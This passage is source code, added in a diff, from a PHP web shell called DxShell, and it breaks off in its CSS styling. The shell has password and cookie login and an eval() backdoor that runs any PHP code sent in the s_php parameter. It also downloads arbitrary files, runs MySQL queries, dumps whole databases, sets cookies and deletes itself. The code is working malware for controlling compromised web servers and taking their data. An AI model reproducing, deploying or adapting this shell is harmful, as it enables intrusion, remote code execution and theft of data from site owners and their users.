#++++++++++++++++##################### +################################################################################### +if ( isset($_GET['dxmode'])?$_GET['dxmode']=='IMG':false ) + { /* IMGS are allowed without passwd =) */ + $GLOB['SHELL']['USER']['Login']=''; + $GLOB['SHELL']['USER']['Passw']=''; + } + +if ( isset($_GET['dxinstant'])?$_GET['dxinstant']=='logoff':false ) + { + if ($DXGLOBALSHIT) + { + if (isset($_COOKIE['DxS_AuthC'])) DxSetCookie('DxS_AuthC','---', 1); + } + else + { + header('WWW-Authenticate: Basic realm="==== HIT CANCEL OR PRESS ESC ===='.base_convert(crc32(mt_rand(0, time())),10,36).'"'); + header('HTTP/1.0 401 Unauthorized'); + } + + print '<html>Redirecting... press <a href="'.DxURL('kill','').'">here if shit happens</a>'; + DxGotoURL(DxURL('kill',''), '1noheaders'); + die(); + } + +if (((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)) + { + if ($DXGLOBALSHIT) + { + if (isset($_POST['DxS_Auth']) or isset($_COOKIE['DxS_AuthC'])) + { + if (!( + + ((@$_POST['DxS_Auth']['L']==$GLOB['SHELL']['USER']['Login']) AND /* form */ + (@$_POST['DxS_Auth']['P']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND @$_POST['DxS_Auth']['P']==md5($GLOB['SHELL']['USER']['Passw'])) + )) + OR + @$_COOKIE['DxS_AuthC']==md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']) /* cookie */ + + )) + {print(DxError('Fucked off brutally'));unset($_POST['DxS_Auth'], $_COOKIE['DxS_AuthC']);} + else DxSetCookie('DxS_AuthC', md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']), time()+60*60*24*2); + } + if (!isset($_POST['DxS_Auth']) AND !isset($_COOKIE['DxS_AuthC'])) + { + print "\n".'<form action="'.DxURL('kill', '').'" method=POST style="position:absolute;z-index:100;top:0pt;left:40%;width:100%;height:100%;">'; + print "\n".'<br><input type=text name="DxS_Auth[L]" value="<LOGIN>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=text name="DxS_Auth[P]" value="<PASSWORD>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=submit value="Ok" style="width:200pt;"></form>'; + print "\n".'</form>'; + die(); + } + } + else + { + if (!isset($_SERVER['PHP_AUTH_USER'])) + { + header('WWW-Authenticate: Basic realm="DxShell '.$GLOB['SHELL']['Ver'].' Auth"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + else + if (!( $_SERVER['PHP_AUTH_USER']==$GLOB['SHELL']['USER']['Login'] + AND ( + $_SERVER['PHP_AUTH_PW']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND md5($_SERVER['PHP_AUTH_PW'])==$GLOB['SHELL']['USER']['Passw']) + ) + )) + { + header('WWW-Authenticate: Basic realm="DxS '.$GLOB['SHELL']['Ver'].' Auth: Fucked off brutally"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + } + } + +################################################################################### +####################++++++# I N S T A N T U S A G E #+++++++#################### +################################################################################### +if (!isset($_GET['dxmode'])) $_GET['dxmode']='DIR'; else $_GET['dxmode']=strtoupper($_GET['dxmode']); +if ($_GET['dxmode']=='DDOS') /* DDOS mode. In other case, EVALer of everything that comes in $_GET['s_php'] OR $_POST['s_php'] */ + { + $F = $_GET + $_POST; + if (!isset($F['s_php'])) die('o_O Tync DDOS Remote Shell '.$GLOB['SHELL']['Ver']."\n".'<br>Use GET or POST to set "s_php" variable with code to be executed =)<br>Enjoy!'); + eval(stripslashes($F['s_php'])); + die("\n\n".'<br><br>'.'o_O Tync DDOS Web Shell '.$GLOB['SHELL']['Ver'].((!isset($F['s_php']))?"\n".'<br>'.'$s_php is responsible for php-code-injection':'')); + } +if ($_GET['dxmode']=='IMG') + { + $IMGS=array( + 'DxS' => 'R0lGODlhEAAQAIAAAAD/AAAAACwAAAAAEAAQAAACL4yPGcCs2NqLboGFaXW3X/tx2WcZm0luIcqFKyuVHRSLJOhmGI4mWqQAUoKPYqIAADs=', + 'folder'=> 'R0lGODlhDwAMAJEAAP7rhriFIP///wAAACH5BAEAAAIALAAAAAAPAAwAAAIklIJhywcPVDMBwpSo3U/WiIVJxG0IWV7Vl4Joe7Jp3HaHKAoFADs=', + 'foldup'=> 'R0lGODlhDwAMAJEAAP7rhriFIAAAAP///yH5BAEAAAMALAAAAAAPAAwAAAIw3IJiywcgRGgrvCgA2tNh/Dxd8JUcApWgaJFqxGpp+GntFV4ZauV5xPP5JIeTcVIAADs=', + 'view' => 'R0lGODlhEAAJAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQAAkAAAIglB8Zx6aQYGIRyCpFsFY9jl1ft4Fe2WmoZ1LROzWIIhcAOw==', + 'del' => 'R0lGODlhEAAQAKIAAIoRGNYnOtclPv///////wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAANASArazQ4MGOcLwb6BGQBYBknhR3zhRHYUKmQc65xgKM+0beKn3fErm2bDqomIRaMluENhlrcFaEejPKgL3qmRAAA7', + 'copy' => 'R0lGODlhEAAQAKIAAP//lv///3p6egAAAP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM+SKrT7isOQGsII7Jq7/sTdWEh53FAgwLjILxp2WGculIurL68XsuonCAG6PFSvxvuuDMOQcCaZuJ8TqGQSAIAOw==', + 'move' => 'R0lGODlhEAAQAJEAADyFFLniPu79wP///yH5BAEAAAMALAAAAAAQABAAAAI3nD8AyAgiVnMihDidldmAnXFfIB6Pomwo9kCu5bqpRdf18qGjTpom6AkBO4lhqHLhCHtEj/JQAAA7', + 'exec' => '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', + 'rename'=> 'R0lGODlhEAAQAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIxlI8GC+kCQmgPxVmtpBnurnzgxWUk6GFKQp0eFzXnhdHLRm/SPvPp5IodhC4IS8EoAAA7', + 'ed' => 'R0lGODlhEAAQAKIAAAAzZv////3Tm8DAwJ7R/Gmd0P///wAAACH5BAEAAAYALAAAAAAQABAAAANDaAYM+lABIVqEs4bArtRc0V3MMDAEMWLACRSp6kRNYcfrw9h3mksvHm7G4sF8RF3Q1kgqmZSKZ/HKSKeN6I/VdGIZCQA7', + 'downl' => 'R0lGODlhEAAQAJEAADyFFIXQLajcOf///yH5BAEAAAMALAAAAAAQABAAAAI6nAepeY0CI3AHREmNvWLmfXkUiH1clz1CUGoLu0JLwtaxzU5WwK89HxABgESgSFM0fpJHx5DWHCkoBQA7', + 'gzip' => 'R0lGODlhEAAQAKIAAARLsHi+//zZWLJ9DvEZAf///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANCWLrQDkuMKUC4OMAyiB+Pc0GDYJ7nUFgk6qos56KwJs9m3eLSapc83Q0nnBhDjdGCkcFslgrkEwq9UKHS6dLShCQAADs=', + ); + @ob_clean(); + if ((!isset($_GET['dximg'])) OR (!in_array($_GET['dximg'], array_keys($IMGS)))) $_GET['dximg']='noone'; + header('Cache-Control: public'); + Header('Last-Modified: '.gmdate('D, d M Y H:i:s', time()-60*60*24*365).' GMT'); //Date('r' + header('Expires: '.gmdate('D, d M Y H:i:s', time()+60*60*24*365).' GMT'); + header('Content-type: image/gif'); + print base64_decode( (is_array(($IMGS[$_GET['dximg']])))?$IMGS[$_GET['dximg']][1]:$IMGS[$_GET['dximg']] ); + die(); + } + +if ($_GET['dxmode']=='F_DWN') + { + if (!isset($_GET['dxfile'])) die(DxError('No file selected. Check $_GET[\'dxfile\'] var')); + if (!file_exists($_GET['dxfile'])) die(DxError('No such file')); + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']=basename($_GET['dxfile']); + if (isset($_GET['dxparam'])) + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); /* usual look thru */ + else + { + $DxDOWNLOAD_File['headers'][]=('Content-type: '.mime_content_type($_GET['dxfile'])); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.basename($_GET['dxfile']).'";'); + } + $DxDOWNLOAD_File['content']=file_get_contents($_GET['dxfile']); + } + +if ($_GET['dxmode']=='SQL' AND isset($_POST['dxparam'])) + {/* download query results */ + if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_q'])) + die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_q\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + /* export as csv */ + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Query_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.csv'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/comma-separated-values'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $_POST['dxsql_q']=explode(';',$_POST['dxsql_q']); + + for ($q=0;$q<count($_POST['dxsql_q']);$q++) + { + if (empty($_POST['dxsql_q'][$q])) continue; + $num=DxMySQL_FetchResult(DxMySQLQ($_POST['dxsql_q'][$q], false), $DUMP, false); + $DxDOWNLOAD_File['content'].="\n\n".'QUERY: '.str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $_POST['dxsql_q'][$q] )).";"; + if ($num<=0) {$DxDOWNLOAD_File['content'].="\n".'Empty;'; continue;} + foreach ($DUMP[0] as $key => $val) $DxDOWNLOAD_File['content'].=$key.";"; /* headers */ + for ($l=0;$l<count($DUMP);$l++) + { + $DxDOWNLOAD_File['content'].="\n"; + $INDEXES=array_keys($DUMP[$l]); + for ($i=0; $i<count($INDEXES); $i++) + $DxDOWNLOAD_File['content'].=str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $DUMP[$l][ $INDEXES[$i] ])).";"; + + } + } + } + +if ($_GET['dxmode']=='SQLD' AND isset($_POST['dxsql_tables'])) + { + if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_tables'])) + die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_tables\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + if (empty($_POST['dxsql_tables'])) die(DxError('No tables selected...')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Dump_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.sql'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $DxDOWNLOAD_File['content'].="\n\t".'/* '.str_repeat('=', 66); + $DxDOWNLOAD_File['content'].="\n\t".'==== MySQL Dump '.DxDate(time()).' - DxShell v'.$GLOB['SHELL']['Ver'].' by o_O Tync'; + $DxDOWNLOAD_File['content'].="\n\t".'==== Server: '.$_GET['dxsql_s']; + $DxDOWNLOAD_File['content'].="\n\t".'==== DB: '.$_GET['dxsql_d']; + $DxDOWNLOAD_File['content'].="\n\t".'==== Tables: '."\n\t\t\t".implode(', '."\n\t\t\t", $_POST['dxsql_tables']); + $DxDOWNLOAD_File['content'].="\n\t".str_repeat('=', 66).' */'; + + if (!empty($_POST['dxsql_q'])) + { + $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + foreach ($_POST['dxsql_q'] as $CUR) + if (empty($CUR)) continue; else DxMySQLQ($CUR, true); /* pre-query */ + } + + foreach ($_POST['dxsql_tables'] as $CUR_TABLE) + { + $DxDOWNLOAD_File['content'].=str_repeat("\n", 5).'/* '.str_repeat('-', 40).' */'; + DxMySQL_FetchResult(DxMySQLQ('SHOW CREATE TABLE `'.$CUR_TABLE.'`;', false), $DUMP, true); + $DxDOWNLOAD_File['content'].="\n".$DUMP[0][1]; + $DxDOWNLOAD_File['content'].="\n\n"; + DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true); + for ($i=0; $i<count($DUMP); $i++) + { + for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]); + $DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");'; + } + } + } + +if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam'])) + { + foreach ($_POST['dxparam'] as $name => $val) + { + if ($name=='DXS_NEWCOOK') + { + if (empty($val['NAM']) or empty($val['VAL'])) continue; + DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10); + } + else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10)); + } + DxGotoURL(DxURL('leave', 'dxmode')); + die(); + } + +if (isset($_GET['dxinstant'])) + { + $_GET['dxinstant']=strtoupper($_GET['dxinstant']); + if ($_GET['dxinstant']=='DEL') + { + $ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + print '<script>window.alert("SELF '.( ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful' ).'");</script>'; + } + } + +function DxObGZ($s) {return gzencode($s);} + +if (isset($DxDOWNLOAD_File)) + {/* File downloader for everything */ + if (!$DXGLOBALSHIT) + { + if ($GLOB['SYS']['GZIP']['CanOutput']) + { + ini_set('output_buffering',4096); + ob_start("DxObGZ"); + header('Content-Encoding: gzip'); + } + for ($i=0; $i<count($DxDOWNLOAD_File['headers']); $i++) header($DxDOWNLOAD_File['headers'][$i]); + print $DxDOWNLOAD_File['content']; + die(); + } + /* if u want to download file when $DXGLOBALSHIT, scroll down */ + } + +################################################################################### +####################++++++++++++++# M A I N #++++++++++++++++++#################### +################################################################################### +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die(DxError('Unknown $_GET[\'dxmode\']! check $GLOB[\'DxMODES\'] array')); + +######## +######## Main HAT (blackhat? =))) ) +######## +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die('Unknown $_GET[\'dxmode\']'); + +if ($DXGLOBALSHIT) + print str_repeat("\n", 20).'<!--SHELL HERE-->'; +?> +<html><head><title><?=$_SERVER['HTTP_HOST'];?> --= DxShell 1.0 - by o_O Tync =-- :: <?=$GLOB['DxMODES'][$_GET['dxmode']];?></title> +<Meta Http-equiv="Content-Type" Content="text/html; Charset=windows-1251"> +<link rel="shortcut icon" href="<?=DxURL('kill','dxmode');?>&dxmode=IMG&dximg=DxS"> +<style> +img {border-width:0pt;} +body, td {font-size: 10pt; color: #00B000; background-color: #000000; font-family: Arial;padding:2pt;margin:2pt; vertical-align:top;} +h1 {font-size: 14pt; color: #00B000; background-color: #002000; font-family: Arial Black; font-weight: bold; text-align: center;} +h2 {font-size: 12pt; color: #00B000; background-color: #002000; font-family: Courier New; text-align: center;} +h3 {font-size: 12pt; color: #F0F000; background-color: #002000; font-family: Times New Roman; text-align: center;} +caption {font-size: 12pt; color: #00FF00; background-color: #000000; font-family: Times New Roman; text-align:center; border-width: 1pt 3pt 1pt 3pt;border-color:#FFFF00;border-style:solid solid dotted solid;padding: 5pt 0pt;} +td.h2_oneline {font-size: 12pt; color: #00B000; font-family: Courier New; text-align: center;background-color: #002000; border-right-color:#00FF00;border-right-width:1pt;border-right-style:solid;vertical-align:middle;} +td.mode_header {font-size: 16pt; color: #FFFF00; font-family: Courier New; text-align: center;background-color: #002000; vertical-align:middle;} +table.outset, td.outset {border-width:3pt; border-style:outset; border-color: #004000;margin-top: 2pt;vertical-align:middle;} +table.bord, td.bord, fieldset {border-width:1pt; border-style:solid; border-color: #003000;vertical-align:middle;} +hr {border-width:1pt; border-style:solid; border-color: #005000; text-align: center; width: 90%;} +textarea.bout {border-color: #000000; border-width:0pt; background: #000000; font: 12px verdana, arial, helvetica, sans-serif; color: #00FF00; Scrollbar-Face-color:#000000;Scrollbar-Track-Color: #000000;} +td.listing {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:top;} +td.linelisting {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;} +table.linelisting {border-color: #003000;border-width:0pt 1pt; border-style:solid;} +td.js_floatwin_header {background-color:#003300;font-size:10pt;font-weight:bold;color:#FFFF00;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +td.js_floatwin_body {background-color:#000000;font-size:10pt;color:#00B000;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +font.rwx_sticky_bit {color:#FF0000;} +.highlight_txt {color: #FFFF00;} +.achtung {color: #000000; background-color: #FF0000; font-family: Arial Black; font-size: 14pt; padding:0pt 5pt;} + +input {font-size: 10pt;font-family: Arial; color: #E0E000; background-color: #000000; border-color:#00FF00 #005000 #005000 #FFFF00; border-width:1pt 1pt 1pt 3pt;border-style:dotted dotted dotted solid; padding-left: 3pt;overflow:hidden;} +input.radio {border-width:0pt;color: #FFFF00;} +input.submit {font-size: 12pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #002000; border-color: #00FF00; border-width:0pt 1pt 1pt 0pt; border-style: solid; padding:1pt;letter-spacing:1pt;padding:0pt 2pt;} +input.bt_Yes {font-size: 14pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #005000; border-color: #005000 #005000 #00FF00 #005000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_No {font-size: 14pt;font-family: Impact, Arial Black; color :#FF0000; background-color: #500000; border-color: #500000 #500000 #FF0000 #500000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_Yes:Hover {color:#000000; background-color:#00FF00;border-bottom-color:#FFFFFF;} +input.bt_No:Hover {color:#000000; background-color:#FF0000;border-bottom-color:#FFFFFF;} +textarea {color:#00FF00; background-color:#001000;border-color:#000000;border-width:0pt;border-style:solid;font-size:10pt;font-family:Arial;Padding:5pt; + Scrollbar-Face-Color: #00FF00; Scrollbar-Track-Color: #000500; + Scrollbar-Highlight-Color: #00A000; Scrollbar-3dlight-Color: #00A000; Scrollbar-Shadow-Color: #005000; + Scrollbar-Darkshadow-Color: #005000;} +select {background-color:#001000;color:#00D000;border-color:#D0D000;border-width:1pt;border-style:solid dotted dotted solid;} + +A:Link, A:Visited { color: #00D000; text-decoration: underline; } +A.no:Link, A.no:Visited { color: #00D000; text-decoration: none; } +A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #00FF00; background-color:#003300; text-decoration: overline; } +.Hover:Hover {color: #FFFF00; cursor:help;} +.HoverClick:Hover 